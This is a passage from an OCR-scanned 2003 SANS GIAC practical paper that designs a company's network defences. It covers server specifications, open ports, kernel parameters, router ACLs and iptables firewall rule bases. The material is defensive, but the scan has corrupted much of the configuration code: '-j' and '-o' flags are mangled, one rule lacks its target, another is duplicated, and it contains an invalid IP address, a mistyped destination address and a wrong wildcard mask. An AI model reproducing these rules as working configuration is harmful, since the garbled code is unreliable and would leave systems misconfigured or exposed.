10 Reverse Path Filter, help relieve some IP spoofing problem, being set to 1 by default
11 To allow dual-home host to pass on traffic among all interfaces it connected to
12 Depending on the machine capacity (esp. RAM & CPU & Load), the more the better.

13 Prevention against SYN Flood

14 Reverse Path Filter, help relieve some IP spoofing problem, being set to 1 by default
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1.6.4.1.1. Intrusion Detection System (IDS) [Server S11, No IP Assigned]

1.6.4.1.1.1. Server Information

Hardware Software

Pentium Il 350 Mhz - Hardened RedHat Linux 8.0

IDE 10 GB - Iptables as a host firewall

RAM 128 MB - Snort as an IDS™

1 NIC - Apache as a web server [Bind to
127.0.0.1]
ACID as an IDS log analyzer and web-
based IDS real-time monitoring system™®

1.6.4.1.1.2. Purpose of the component
1. To detect intrusion that happens within the External DMZ

1.6.4.1.1.3. Detail about opening ports
- Since there is no IP associate with this server [except loopback interface
which IP address 127.0.0.1] . There is no opportunity that this IDS server
being compromised through the network.
The admin access this server via direct connect monitoring screen.
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max17 >= 50000
net.ipva.tcp_syncookies— 1

1.6.4.1.2. DNS Server, [Server S12, IP: 192.168.3.68]
1.6.4.1.2.1. Server Information
Hardware Software
Pentium Il 350 Mhz 1. Hardened RedHat Linux 8.0
IDE 10 GB 2. Iptables as a host firewall
RAM 128 MB 3. djbdns™ [Running as DNS server, Non-
1 NIC recursion, for giac-sayings.com]
4. OpenSSH v.3.6.1 [or latest version]

15 www.snort.org

16 “ACID: Installation and Configuration”,
http://www.andrew.cmu.edu/~rdanyliw/snort/acid_config.html

17 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
18 Prevention against SYN Flood

19 How to run a DNS server, http://cr.yp.to/djbdns/run-server.html
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1.6.4.1.2.2. Purpose of the component

1. To serve as a domain name server for domain @giacenterprises.net

2.

By default, djbdjs configured as a DNS server for a domain giac-
sayings.com, no query recursion is allowed

1.6.4.1.2.3. Detail about opening ports

DNS query, UDP Port 53
SSH, TCP Port 22, access from administrator IP only
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max20 >= 50000
1

: .21
net.ipv4.tcp_syncookies

1.6.4.1.3. Mail Server, [Server S13, IP: 192.168.3.69]

1.6.4.1.3.1. Server Information

Hardware Software
Pentium Il 350 Mhz L Hardened RedHat Linux 8.0
IDE 10 GB . Iptables as a host firewall
RAM 128 MB 3. Qmail®
1 NIC 4. OpenSSH v.3.6.1 [or latest version]

1.6.4.1.3.2. Purpose of the component

1.
2.

3.

To serve as a mail relay server for domain @giacenterprises.net

For incoming e-mail, only e-mail addressed to @giacenterprises.net are
accepted

Spam mail are checked against RBL/SBL list (Open Relay Black
List/Spammer Black List) e.g. sbl.spamhaus.org, bl.spamcop.net,
relays.ordb.org

For outgoing e-mail, act as an e-mail smart host (e.g. outgoing e-mail
gateway), which relay the e-mail that are sent out to the Internet from the
Mail Server in Internal DMZ [server S24]

There is no mail box on this mail server, every e-mail accepted are
forwarded (via smtproutes) to the Mail Server in Internal DMZ [server S24]

1.6.4.1.3.3 Detail about opening ports

SMTP, TCP Port 25
SMTP over SSL, TCP Port 465

20 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
21 Prevention against SYN Flood
22 http://'www.gmail.org, http://cr.yp.to/gmail.html
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Accept incoming E-mail from Internet only

No incoming e-mail from the Internal Network are allowed

Relay outgoing E-mail from the Mail Server in Internal DMZ [server S24]
only

SSH, TCP Port 22, access from administrator IP only

This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max23 >= 50000
net.ipv4.tcp_syncookies24 1

1.6.4.1.4. Web Server, [Server S14, IP: 192.168.3.71]

1.6.4.1.4.1. Server Information

Hardware Software
Pentium Il 350 Mhz b. Hardened RedHat Linux 8.0
IDE 10 GB 5. Iptables as a host firewall
RAM 128 MB 7. Apache web server version 2.0.45%
1 NIC 8.  OpenSSH v.3.6.1 [or latest version]

1.6.4.1.4.2. Purpose of the component

1. To serve as GIAC Enterprises Home Page on the Internet

2. Customer can access this web server for the information about the GIAC
Enterprises and its product

3. Order can be done using HTTP over SSL (HTTPS)

4. Customer information are kept within the database server resides on the
Internal DMZ

5. Credit card information are never stored on this server. We use the
Verisign’s PayFlow Pro® service to do a credit card transaction.

1.6.4.1.4.3. Detail about opening ports
- HTTP, TCP Port 80
HTTPS [HTTP over SSL]
SSH, TCP Port 22, access from administrator IP only
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max27 >= 50000

23 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.

24 Prevention against SYN Flood

25 http://httpd.apache.org/

26 Verisign Payment Processing, http://www.verisign.com/products/payment.htm|?sl=060304
27 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
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net.ipv4.tcp_syncookies28 1

1.6.4.1.5. IPSec VPN Security Gateway29

1.6.4.1.5.1. Component Information

Hardware Software
Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
IDE 10 GB - FreeS/WAN version. 2.00 with X.509
RAM 128 MB Patch version 1.3.3* for VPN Security
3 NICs Gateway™!

ISC’s DHCP server version 3.Op232
DHCPRelay version 0.3.133 [DHCP over

IPSec support for Linux FreeS/WAN]34
OpenSSH v.3.6.1 [or latest version]

1.6.4.1.5.2. Purpose of the component
1. Be an IPSec VPN security gateway for partners, suppliers, sales force,
and teleworkers.
2. This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.conf.defau|t.proxy_arp35 1
net.ipv4.conf.defau|t.rp_filter36 0
net.ipv4.ip_forward37 1
net.ipv4.ip_conntrack_max38 >= 50000
net.ipv4.tcp_syncookies39 1

28 Prevention against SYN Flood

29 Please be aware that the IPSec is being integrated into Linux kernel. The feature is available
from kernel version 2.5.47, once finished and widely available, it would be a viable alternative of
FreeS/WAN, see detail at “Chapter 7. IPSEC: secure IP over the Internet”,
http://lartc.org/howto/lartc.ipsec.html

30 http://www.strongsec.com/freeswan/

31 “Installation and Configuration Guide”, http://www.strongsec.com/freeswan/install.htm

32 http://www.isc.org/products/DHCP/

33 Mario Strasser, DHCP relay, DHCP-over-IPsec support for Linux FreeS/WAN,
http://www.strongsec.com/freeswan/dhcprelay/index.htm

34 Mario Strasser, DHCP over IPSec HOWTO,
http://www.strongsec.com/freeswan/dhcprelay/ipsec-dhcp-howto.pdf

35 Refer to Linux Advanced Routing & Traffic Control for detail discussion about proxy_arp,
http://lartc.org/

36 reverse path filter, disable source route verification, the FreeS/WAN would like to see this turn
off

37 To allow dual-home host to pass on traffic among all interfaces it connected to

38 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
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1.6.4.1.5.3. Detail about opening ports
This server has been hardened so that
Unnecessary user are disabled.
All service ports are closed [except SSH port 22 which is still accessible
only from System administrator’s IP address]

1.6.4.2. Internal DMZ
1.6.4.2.1. DNS Server, [Server S21, IP: 192.168.3.130]

1.6.4.2.2. Server Information

Hardware Software
- Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
- IDE 10 GB - Iptables as a host firewall
. RAM 128 MB . djbdns [Running as External Cache]*
- 1 NIC - OpenSSH v.3.6.1 [or latest version]

1.6.4.2.1. Purpose of the component
1. To serve as a domain name server for domain @giacenterprises.net

1.6.4.2.2. Detail about opening ports
DNS query, UDP Port 53, restrict access to within GIAC Enterprises only
[from network 192.168.3.x]
SSH, TCP Port 22, access from administrator IP only
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max41 >= 50000
net.ipv4.tcp_syncookies42 1

1.6.4.2.2. Database Server, [Server S22, IP: 192.168.3.131]
1.6.4.2.2.1. Server Information
Hardware Software
Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
IDE 10 GB - Iptables as a host firewall
RAM 128 MB . MySQL Server version 4.0.13%

39 Prevention against SYN Flood

40 How to run an external cache for your network, http://cr.yp.to/djbdns/run-cache-x.html
41 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
42 Prevention against SYN Flood
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\ - 1NIC \ - OpenSSH v.3.6.1 [or latest version] \

1.6.4.2.2.2. Purpose of the component
1. To serve as a database server

2. Customer and product information are kept on the database server

1.6.4.2.2.3. Detail about opening ports

MySQL Service, TCP Port 3306, accessible only from Web Servers
[S14:192.168.3.71, S23:192.168.3.132]

SSH, TCP Port 22, access from administrator IP only

This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max44 >= 50000
net.ipv4.tcp_syncookies45 1

1.6.4.2.3. Web Server, [Server S23, IP:

1.6.4.2.3.1. Server Information

192.168.3.132]

Hardware Software
Pentium Il 350 Mhz Hardened RedHat Linux 8.0
IDE 10 GB Iptables as a host firewall
RAM 128 MB Apache web server version 2.0.45%
1 NIC OpenSSH v.3.6.1 [or latest version]

1.6.4.2.3.2. Purpose of the component

1. To serve as Partner Web Server and Supplier Web Server

1.6.4.2.3.3. Detail about opening ports
- HTTP, TCP Port 80, access from
and internal’s network
HTTPS [HTTP over SSL], TCP P

partner’s network, supplier’'s network

ort 443, access from partner’s network,

supplier’s network and internal’s network
SSH, TCP Port 22, access from administrator IP only
This server must have to following kernel parameters

Kernel Parameter Value

. a7
net.ipv4.ip_conntrack_max

>= 50000

43 http://www.mysgl.com/

44 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.

45 Prevention against SYN Flood
46 http://httpd.apache.org/

47 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
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net.ipv4.tcp_syncookies48 1

1.6.4.2.4. Mail Server & DHCP Server, [Server S24, IP: 192.168.3.133]

1.6.4.2.4.1. Server Information

Hardware Software
Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
IDE 10 GB - Iptables as a host firewall
RAM 128 MB . Qmail®
1 NIC - OpenSSH v.3.6.1 [or latest version]
ISC's DHCP version 3.0p2>°

1.6.4.2.4.2. Purpose of the component

1. To serve as a mail server for domain @giacenterprises.net

2. Forincoming e-mail, only e-mail addressed to @giacenterprises.net are
accepted

3. For outgoing e-mail, act as an e-mail smart host (e.g. outgoing e-mail
gateway), which relay the e-mail that are sent out to the Internet from
employees on the Internal Network [network 192.168.3.192/26]

4. User can download e-mail using IMAPS protocol [IMAP over SSL Port
993]

5. This server also acts as a DHCP Server as in DHCP over IPSec to give
out the IP to IPSec VPN connection of teleworkers and mobile sales force.
We could have had a brand new server just to run DHCP server, but as
the load is not as much, we decided that it would be more cost effective to
turn it on a server that we have already had on the Internal DMZ. We
have no particular reason to pick mail server over any other type of
servers.

1.6.4.2.4.3. Detail about opening ports

- SMTP over SSL, TCP Port 465 [access from Mail Server S13,
192.168.3.69, or relay from Internal Network, network 192.168.3.192/26]
Accept incoming E-mail from the Mail Server in External DMZ [server S13,
192.168.3.69]
Relay outgoing E-mail from the Internal Network only [network
192.168.3.192/26]
SSH, TCP Port 22, access from administrator IP only
IMAPS (IMAP over SSL), TCP Port 993, access from the Internal Network
[network 192.168.3.192/26]
This server must have to following kernel parameters

48 Prevention against SYN Flood
49 http://www.gmail.org, http://cr.yp.to/gmail.html
50 http://www.isc.org/products/DHCP/
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Kernel Parameter Value
net.ipv4.ip_conntrack_max51 >= 50000
net.ipv4.tcp_syncookies52 1

1.6.4.2.5. Intrusion Detection System (IDS) [S25, No IP Assigned]
Same information as IDS Server S11 [Section. 1.6.4.1.1.]

1.6.4.2.4. Log Server, [Server S26, IP: 192.168.3.134]

1.6.4.2.4.1. Server Information

Hardware Software
Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
IDE 10 GB - Iptables as a host firewall
RAM 128 MB - OpenSSH v.3.6.1 [or latest version]
1 NIC

1.6.4.2.4.2. Purpose of the component
1. Accept remote log from other servers

1.6.4.2.4.3. Detail about opening ports
SSH, TCP Port 22, access from administrator IP only
Syslog, UDP Port 514, receive log information from other servers
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_conntrack_max53 >= 50000
net.ipv4.tcp_syncookies54 1

51 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
52 Prevention against SYN Flood
53 depending on the machine capacity (esp. RAM & CPU & Load), the more the better.
54 Prevention against SYN Flood
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Part Il: Security Policy & Tutorial

2.1. Introduction
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Figure 2: GIAC Enterprises Network & Security Architecture [Revisited]
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In figure 2, we have expanded figure 1 further in detail. Additional information is
1. VPN Zone within Partner P’s network
2. VPN Zone within Supplier S’s network

3. IP Block given by DHCP over IPSec55 to teleworkers and remote sales
force

2.2. Security Policy Implementation on Components of Security
Architecture [Focused on Router, Firewalls, and VPN Security Gateway]

All of the following equipments have to be hardened before being used.
We'll focus only on the security policy implement on those equipments here.
Those equipments of GIAC Enterprises that we will focused on are
Border Router
External Firewall
Internal Firewall
VPN Security Gateway

2.3. Border Router

2.3.1. Ingress Filtering

1. access-list 15 deny 203.280.204.0 0.0.0.255

2. access-list 15 deny 127.0.0.0 0.255.255.255
3. access-list 15 deny 10.0.0.0 0.255.255.255
4, access-list 15 deny 172.16.0.0 0.15.255.255
5. access-list 15 deny 192.168.0.0 0.15.255.255
6. access-list 15 deny 224.0.0.0 15.255.255.255
7. access-list 15 deny 240.0.0.0 7.255.255.255
8. access-list 15 permit any any

2.3.2. Egress Filtering

1. access-list 16 permit 192.168.3.0 0.0.0.255
2. access-list 16 deny any

2.3.3. Explanation for each ACL
2.3.3.1. Ingress: ACL for incoming packets

For all Ingress--packets coming into our network--Access Control List
(ACL), the rules deny all incoming packets, which claim to comes from
unroutable IP (private IP). Those packets should not come from the Internet
where only routable IP are allowed. In addition, the IP assigned to our network

55 the DHCP server resides on the IPSec VPN Security Gateway and invisible to any other
servers on the network.
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should not be coming from the Internet because only our network can produce it,
not the Internet.

Please note some obvious contradiction here. Due to the assumption of
this paper that we assume the 10.x.x.x and 192.168.x.x are Internet routable IP
in order to preserve the real world IP from possible harm. In reality, both 10.x.x.x
and 192.168.x.x are by definition of RFC 191856 are reserved to private IP
blocks and, thus, unroutable over the Internet. In real world, therefore, rule
#3 & rule #5 should literally be entered to Border Router’s Ingress filtering.

2.3.3.2. Egress: ACL for outgoing packets

For all Egress—packets going out of our network—ACL, the rules permit
all outgoing packets originating from our network, 192.168.3.0/24, and deny all
other source IP (which should not be possible). This is to prevent the leaking of
unroutable IP to the Internet and to prevent any other spoofed IP to go to the
Internet.

56 RFC 1918, Address Allocation for Private Internets
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\ 2.4. Firewall

2.4.1. (Soft) Division of IP range within the Internal network

In the detail of access requirements, we have divided employee in to
group and set the access requirements accordingly. In the implementation
phase, however, we do not really impose any hard division such as segmentation
of network among them. This depends on a company policy. In some company
where internal employee and Internet network is regarded as hostile, further
Internal LAN segmentation, along with LAN port access control, e.g. restrict MAC
address to each port of the switch, MIGHT be required. Those are foreseeable
path to add an additional layer of security to the network.

In our case, however, separation of IP range is enough. The following are
IP range of each group.

Type of Employee IP range
From To
Database Administrator 192.168.3.193°" 192.168.3.206
Accounting Staff 192.168.3.209°° 192.168.3.222
Content & Web Developer 192.168.3.225°° 192.168.3.238
System Administrator 192.168.3.241°° 192.168.3.254
Remote Sale Force & Tele-workers 192.168.3.97°" 192.168.3.126

2.4.2. Some more fictional IP addresses

From the access requirement, some external servers from the Internet are
referred to. In order to complete the implementation of the firewall rules, we shall
assume the following information.

Server IP
ISP DNS server to act as GIAC 10.120.7.1
Enterprise secondary DNS server
NTP Server 10.120.7.2
Payment Gateway Provider 10.120.7.3

2.4.3. Stateful firewall & Linux’s iptables

57 192.168.3.192/28
58 192.168.3.208/28
59 192.168.3.224/28
60 192.168.3.240/28
61 192.168.3.96/27
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Because iptables is the stateful firewall, it is really easy to work with
provided that the person who configures it has enough knowledge of TCP/IP and
their states. Using it properly make the firewall rules readable and short.
general rules, we use the following general guidelines provided in the tutorial

section [section 2.8] to implement our firewall.

As a

\ 2.5. External Firewall

In this section, we will discuss only how the rule looks like. Please refer to
section 2.8: Tutorial: iptables & stateful firewalls on Linux RedHat 8.0 for the way

we construct one.

The following rules [section 2.5.1] are taken from the file
letc/sysconfig/iptables. To be strict, it is not actually the script that call the
“/sbin/iptables” program directly. However, it will be read by the firewall startup
script /etc/rc.d/init.d/iptables and then in that /etc/rc.d/init.d/iptables script, the
actual /sbin/iptables is called and each of the rule in the
letc/sysconfig/iptables file will be parsed and put as a parameter to the

command /sbin/iptables.

This seems a little odd, but iptables’s own save

utility called /sbin/iptables-save produces exactly the same format as the file

being shown here.

kes e
10.0. 3 2
Border Router
515
VPN Security 511 512
Gateway :gz 12:2 12 oth0 IDS DNS Server ||

h = E 5
[ External
F/( Firewall
Irces '
126
|Z
(26
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The above figure shows the assignment of firewall’s IP and their
corresponding Ethernet card. External Firewall’s ethO is bound to 192.168.3.2,
and ethl is bound to 192.168.3.65.

2.5.1. External Firewall Rule Base

Please refer to “Section 3.2. Non-technical approach to rule base
implementation” for the process we have taken from the access requirements
until we come up with these rules.

Also, please do not pay any attention to [0:0] in line 2,3,4. It just the way
that iptables uses to keep track of the number of packets and the number of
bytes passing through each chain. The *filter mean the following rules are
applied to FILTER table within iptables, this table this the place where we put the
filtering rules.

*filter

:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [0:0]

PwpnpE

# ethO is 192.168.3.2
# ethlis 192.168.3.65

o 0

HiHHHH A INPUT chain’s SECTION #HHHHHHHHHHHHHHHHHHH

7. -AINPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

8. # REF 15424-4

9. -AINPUT -iethl -p tcp -m tcp -s 192.168.3.240/28 -d 192.168.3.65 --
dport 22 --syn - ACCEPT

10.# REF 15424-16

11.-A INPUT -i ethl -p icmp -m icmp --icmp-type 8 -s 192.168.3.240/28 -
ACCEPT

12.-A INPUT -ilo -j ACCEPT

13.-A INPUT -j LOG

Hi A OUTPUT chain’s SECTION ##HHHHHHHHHHHH

14.-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

15.# REF 1561-1

16.-A OUTPUT -0 ethl -p udp -m udp -s 192.168.3.65 -d 192.168.3.134 --
dport 514 - ACCEPT

17.# REF 1562-1

18.-A OUTPUT -0 ethO -p udp -m udp -s 192.168.3.65 -d 10.120.7.2 --
dport 123 - ACCEPT

19.-A OUTPUT -0 lo -j ACCEPT
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20.-A OUTPUT -] LOG

HiHH A FORWARD chain’s SECTION ##HHHHHHHHHHHHHH
21.-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
22.# REF 155-1, 155-2
23.-A FORWARD -i ethO -0 ethl -p udp -m udp -s 0/0 --sport 500 -d
192.168.3.70 --dport 500 -] ACCEPT

24.# REF 152-1, 152-2 OBSOLETED BY REF 155-1, 155-2

25.# -A FORWARD -i eth0O -0 ethl -p udp -m udp -s 192.168.4.66 --sport
500 -d 192.168.3.70 --dport 500 - ACCEPT

26.# REF 153-1, 153-2 OBSOLETED BY REF 155-1, 155-2

27.# -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.5.66 --sport
500 -d 192.168.3.70 --dport 500 - ACCEPT

28.# REF 151-1

29.-A FORWARD -i ethO -0 ethl1 -p udp -m udp -s 0/0 -d 192.168.3.68 --
dport 53

30.# REF 151-2

31.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 0/0 -d 192.168.3.69 --
dport 25 --syn - ACCEPT

32.# REF 151-3

33.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 0/0 -d 192.168.3.71 --
dport 80 --syn -j ACCEPT

34.# REF 151-4

35.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 0/0 -d 192.168.3.71 --
dport 443 --syn - ACCEPT

36.# REF 1564-2

37.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 10.120.7.1 -d
192.68.3.68 --dport 53 --syn -] ACCEPT

38.# REF 15424-1, REF 15424-15

39.-A FORWARD -i ethl -0 ethO -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 0/0

40.# REF 15424-2

41.-A FORWARD -i ethl -0 ethO -p tcp -m tcp -s 192.168.3.240/28 -d 0/0 -
-dport 21 --syn - ACCEPT

42.# REF 15424-3

43.-A FORWARD -i ethl -0 ethO -p tcp -m tcp -s 192.168.3.240/28 -d
192.168.3.1 --dport 22 --syn - ACCEPT

44.# REF 1564-1

45.-A FORWARD -i ethl -0 ethO -p tcp -m tcp -s 192.168.3.68 -d
10.120.7.1 --dport 53 --syn - ACCEPT

46.# REF 1562-3, 1562-4, 1562-5, 1562-6

47.-A FORWARD -i ethl -0 ethO -p udp -m udp -s 192.168.3.64/26 -d
10.120.7.2 --dport 123 -j ACCEPT

48.# REF 1562-7, 1562-8, 1562-9, 1562-10, 1562-11

49.-A FORWARD -i ethl -0 ethO -p udp -m udp -s 192.168.3.192/26 -d
10.120.7.2 --dport 123 -] ACCEPT

41
© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



50.# REF 1563-1

51.-A FORWARD -i ethl -0 ethO -p udp -m udp -s 192.168.3.130 -d 0/0 --
dport 53 - ACCEPT

52.# REF 1571-2

53.-A FORWARD -i ethl -0 ethO -p tcp -m tcp -s 192.168.3.70 -d
10.120.7.1 --dport 443 -j ACCEPT

54.-A FORWARD -j LOG

55.COMMIT

2.5.2. External Firewall Rule Base Explanation

Although, the above rule base might look very hard to comprehend, it is
really not. You could see clearly that there are actually three sections: INPUT
section, OUTPUT section, and FORWARD section. For gateway firewall
such as External Firewall or Internal Firewall, the majority of rules will be in
FORWARD section where the filters for traffic passing through it are defined.

| did some coloring to aid readability, the blue line (e.g. 1,2,3,4, .., 54, 55)
are the one that must be put without having references to any access
requirements.

Also notice that the first line of each section is the rule allowing traffic
belong to the connection flow that are in the ESTABLISHED state to pass
through. We expect that a majority of packet belonging to the ongoing
connection will only check against this rule, so their really is the performance
gain form using this feature of stateful firewall.

Besides from the first rule within each chain, the rest of the chains are the
condition where we allow the connection to take place. Every rule that allow the
connection to take place are strictly followed the access requirements and the
reference number to each access requirement are commented just above each
rule to give informative about the association between that rule and access
requirements.

Please note that we strictly use the option “—syn” for every TCP based
rule, because we only allow the connection to take place by the coming of a SYN
packet.

2.6. Internal Firewall

In this section, we will discuss only how the rule looks like. Please refer to
section 2.8: Tutorial: iptables & stateful firewalls on Linux RedHat 8.0 for the way
we construct one.

The following rules [2.6.1] are taken from the file /etc/sysconfig/iptables.
To be strict, it is not actually the script that call the “/sbin/iptables” program
directly. However, it will be read by the firewall startup script
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letc/rc.d/init.d/iptables and then in that /etc/rc.d/init.d/iptables script, the
actual /sbin/iptables is called and each of the rule in the
letc/sysconfig/iptables file will be parsed and put as a parameter to the
command /sbin/iptables. This seems a little odd, but iptables’s own save
utility called /sbin/iptables-save produces exactly the same format as the file
being shown here.

Also, please do not pay any attention to [0:0] in line 2,3,4. It just the way
that iptables uses to keep track of the number of packets and the number of
bytes passing through each chain. The *filter mean the following rules are
applied to FILTER table within iptables, this table this the place where we put the
filtering rules.

|CES 10.0.3.2
Border Router
515
VPN Security 511 512
Gateway 132:166:3:9 oth0 IDS DNS Server ||
g 192.168.3.2 = =
External
/ Firewall
block 192.168.3 65 eth1 NO IP .68
irces 7
126
192.168.3.66_| . ethO
|Z
26 182.168.3.129 Internal Firewall
| eth1
P |13 I_ 134 192.168.3.103
|ﬁ EI@ % oth?
[y ||| gy || o]

The above figure shows the assignment of firewall’s IP and their
corresponding Ethernet card. Internal Firewall’s ethO is bound to 192.168.3.66,
ethl is bound to 192.168.3.129, and 192.168.3.193.

2.6.1. Internal Firewall Rule Base
Please refer to “Section 3.2. Non-technical approach to rule base

implementation” for the process we have taken from the access requirements
until we come up with these rules.
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Also, please do not pay any attention to [0:0] in line 2,3,4. It just the way
that iptables uses to keep track of the number of packets and the number of
bytes passing through each chain. The *filter mean the following rules are
applied to FILTER table within iptables, this table this the place where we put the
filtering rules.

*filter

INPUT DROP [0:0]
‘FORWARD DROP [0:0]
:OUTPUT DROP [0:0]

PwpNPE

# eth0 192.168.3.66
# ethl 192.168.3.129
# eth2 192.168.3.193

Noo

Hi A INPUT chain’s SECTION ####HHHHHHHHHHHHHHHHH

8. -AINPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

9. # REF 15424-5

10.-A INPUT -ieth2 -ptcp -m tcp -s 192.168.3.240/28 -d 192.168.3.193 --
dport 22 --syn - ACCEPT

11.# REF 15424-17

12.-A INPUT -i eth2 -p icmp -m icmp --icmp-type 8 -s 192.168.3.240/28 -d
192.168.3.193 -j ACCEPT

13.-AINPUT -ilo -j ACCEPT

14.-A INPUT -jLOG

Hi A OUTPUT chain’s SECTION ##HHHHHHHHHHHHH
15.-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
16.# REF 1561-2
17.-A OUTPUT -0 ethl -p udp -m udp -s 192.168.3.129 -d 192.168.3.134 --
dport 514 - ACCEPT
18.-A OUTPUT -olo -j ACCEPT
19.-A OUTPUT -j LOG

HHH AR FORWARD chain’s SECTION ##HHHHHHHHHHHHH
20.-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
21.# REF 152-3
22.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.5.192/26 -d
192.168.3.132 --dport 80 --syn -] ACCEPT

23.# REF 152-4

24.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.5.192/26 -d
192.168.3.132 --dport 443 --syn - ACCEPT

25.# REF 153-3

26.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.4.192/26 -d
192.168.3.132 --dport 80 --syn - ACCEPT
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27.# REF 153-4

28.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.4.192/26 -d
192.168.3.132 --dport 443 --syn - ACCEPT

29.# REF 1541-1

30.-A FORWARD -i eth2 -0 ethl -p udp -m udp -s 192.168.3.192/26 -d
192.168.3.130 --dport 53 -] ACCEPT

31.# REF 1541-2

32.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.192/26 -d
192.168.3.133 --dport 465 --syn - ACCEPT

33.# REF 1541-3

34.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.192/26 -d
192.168.3.133 --dport 993 --syn - ACCEPT

35.# REF 15421-1

36.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.192/28 -d
192.168.3.131 --dport 80 --syn -] ACCEPT

37.# REF 15421-2

38.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.192/28 -d
192.168.3.131 --dport 443 --syn - ACCEPT

39.# REF 15422-1

40.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.209/28 -d
192.168.3.131 --dport 80 --syn -] ACCEPT

41.# REF 15422-2

42.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.209/28 -d
192.168.3.131 --dport 443 --syn - ACCEPT

43.# REF 15423-1

44.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.70 --dport 80 --syn -] ACCEPT

45.# REF 15423-2

46.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.70 --dport 443 --syn -] ACCEPT

47.# REF 15423-3

48.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.70 --dport 22 --syn -] ACCEPT

49.# REF 15423-4

50.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.131 --dport 80 --syn -] ACCEPT

51.# REF 15423-5

52.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.131 --dport 443 --syn - ACCEPT

53.# REF 15423-6

54.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.132 --dport 80 --syn -] ACCEPT

55.# REF 15423-7

56.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.132 --dport 443 --syn - ACCEPT

57.# REF 15423-8
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58.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.132 --dport 22 --syn -] ACCEPT

59.# REF 15424-6

60.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.68 --dport 22 --syn -] ACCEPT

61.# REF 15424-7

62.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.69 --dport 22 --syn -] ACCEPT

63.# REF 15424-8

64.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.71 --dport 22 --syn -] ACCEPT

65.# REF 15424-9

66.-A FORWARD -i eth2 -0 ethO -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.70 --dport 22 --syn -] ACCEPT

67.# REF 15424-10

68.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.130 --dport 22 --syn -] ACCEPT

69.# REF 15424-11

70.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.131 --dport 22 --syn -] ACCEPT

71.# REF 15424-12

72.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.132 --dport 22 --syn - ACCEPT

73.# REF 15424-12

74.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.132 --dport 22 --syn -] ACCEPT

75.# REF 15424-13

76.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.133 --dport 22 --syn -] ACCEPT

77.# REF 15424-14

78.-A FORWARD -i eth2 -0 ethl -p tcp -m tcp -s 192.168.3.224/28 -d
192.168.3.134 --dport 22 --syn -] ACCEPT

79.# REF 15424-18

